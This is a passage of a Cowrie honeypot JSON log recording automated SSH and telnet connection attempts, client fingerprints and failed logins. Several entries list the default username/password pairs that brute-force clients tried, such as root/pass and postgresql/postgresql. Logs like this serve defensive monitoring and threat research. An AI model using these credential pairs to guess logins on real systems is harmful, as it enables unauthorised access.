com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:45:59.812555Z","src_ip":"192.109.200.237","session":"9d2897421b40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:00.145362Z","src_ip":"192.109.200.237","session":"9d2897421b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60044,"dst_ip":"10.17.0.5","dst_port":23,"session":"739419b2a19d","protocol":"telnet","message":"New connection: 50.6.8.71:60044 (10.17.0.5:23) [session: 739419b2a19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:00.677301Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:01.235638Z","src_ip":"192.109.200.237","session":"9d2897421b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53530,"dst_ip":"159.203.135.109","dst_port":22,"session":"514552291158","protocol":"ssh","message":"New connection: 192.109.200.237:53530 (159.203.135.109:22) [session: 514552291158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:03.355106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:03.362303Z","src_ip":"192.109.200.237","session":"514552291158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:03.447796Z","src_ip":"192.109.200.237","session":"514552291158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:03.713138Z","src_ip":"192.109.200.237","session":"514552291158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:04.804060Z","src_ip":"192.109.200.237","session":"514552291158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.35.248.5","src_port":36612,"dst_ip":"10.17.0.5","dst_port":23,"session":"94dd8e69dc95","protocol":"telnet","message":"New connection: 38.35.248.5:36612 (10.17.0.5:23) [session: 94dd8e69dc95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:06.142917Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53546,"dst_ip":"159.203.135.109","dst_port":22,"session":"700c8d9db886","protocol":"ssh","message":"New connection: 192.109.200.237:53546 (159.203.135.109:22) [session: 700c8d9db886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:06.866290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:06.872091Z","src_ip":"192.109.200.237","session":"700c8d9db886","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:06.958307Z","src_ip":"192.109.200.237","session":"700c8d9db886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:07.256466Z","src_ip":"192.109.200.237","session":"700c8d9db886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:08.341602Z","src_ip":"192.109.200.237","session":"700c8d9db886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56412,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d5943776815","protocol":"telnet","message":"New connection: 50.6.8.71:56412 (10.17.0.5:23) [session: 3d5943776815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:10.302384Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51254,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e92a9323f67","protocol":"ssh","message":"New connection: 192.109.200.237:51254 (159.203.135.109:22) [session: 2e92a9323f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:10.587099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:10.592110Z","src_ip":"192.109.200.237","session":"2e92a9323f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:10.674481Z","src_ip":"192.109.200.237","session":"2e92a9323f67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:10.924016Z","src_ip":"192.109.200.237","session":"2e92a9323f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:12.010290Z","src_ip":"192.109.200.237","session":"2e92a9323f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51258,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3b79def446d","protocol":"ssh","message":"New connection: 192.109.200.237:51258 (159.203.135.109:22) [session: d3b79def446d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:14.051601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:14.056273Z","src_ip":"192.109.200.237","session":"d3b79def446d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:14.144534Z","src_ip":"192.109.200.237","session":"d3b79def446d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:14.398053Z","src_ip":"192.109.200.237","session":"d3b79def446d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:15.486363Z","src_ip":"192.109.200.237","session":"d3b79def446d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47406,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf2f0063f86f","protocol":"telnet","message":"New connection: 50.6.8.71:47406 (10.17.0.5:23) [session: cf2f0063f86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:16.742645Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":52578,"dst_ip":"10.17.0.5","dst_port":22,"session":"d197f174fb16","protocol":"ssh","message":"New connection: 178.20.210.186:52578 (10.17.0.5:22) [session: d197f174fb16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:17.069206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:17.073458Z","src_ip":"178.20.210.186","session":"d197f174fb16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:17.175068Z","src_ip":"178.20.210.186","session":"d197f174fb16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51274,"dst_ip":"159.203.135.109","dst_port":22,"session":"921ff9e2e99c","protocol":"ssh","message":"New connection: 192.109.200.237:51274 (159.203.135.109:22) [session: 921ff9e2e99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:17.624516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:17.717238Z","src_ip":"192.109.200.237","session":"921ff9e2e99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:17.720949Z","src_ip":"192.109.200.237","session":"921ff9e2e99c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47422,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e9514fca5a6","protocol":"telnet","message":"New connection: 50.6.8.71:47422 (10.17.0.5:23) [session: 1e9514fca5a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:17.872309Z"}
{"eventid":"cowrie.login.failed","username":"manager","password":"manager","message":"login attempt [manager/manager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:17.889524Z","src_ip":"178.20.210.186","session":"d197f174fb16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:18.052792Z","src_ip":"192.109.200.237","session":"921ff9e2e99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:18.991593Z","src_ip":"178.20.210.186","session":"d197f174fb16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:19.136700Z","src_ip":"192.109.200.237","session":"921ff9e2e99c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.632742881774902,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:19.775504Z","src_ip":"38.35.248.5","session":"94dd8e69dc95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57484,"dst_ip":"159.203.135.109","dst_port":22,"session":"43c1f04640db","protocol":"ssh","message":"New connection: 192.109.200.237:57484 (159.203.135.109:22) [session: 43c1f04640db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:21.196346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:21.201645Z","src_ip":"192.109.200.237","session":"43c1f04640db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:21.283703Z","src_ip":"192.109.200.237","session":"43c1f04640db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:21.529385Z","src_ip":"192.109.200.237","session":"43c1f04640db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.78627634048462,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:22.043541Z","src_ip":"50.6.8.71","session":"82594a0f3ee0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:22.712580Z","src_ip":"192.109.200.237","session":"43c1f04640db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57498,"dst_ip":"159.203.135.109","dst_port":22,"session":"66532cd2373b","protocol":"ssh","message":"New connection: 192.109.200.237:57498 (159.203.135.109:22) [session: 66532cd2373b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:24.608629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:46:24.613098Z","src_ip":"192.109.200.237","session":"66532cd2373b","protocol":"ssh"}
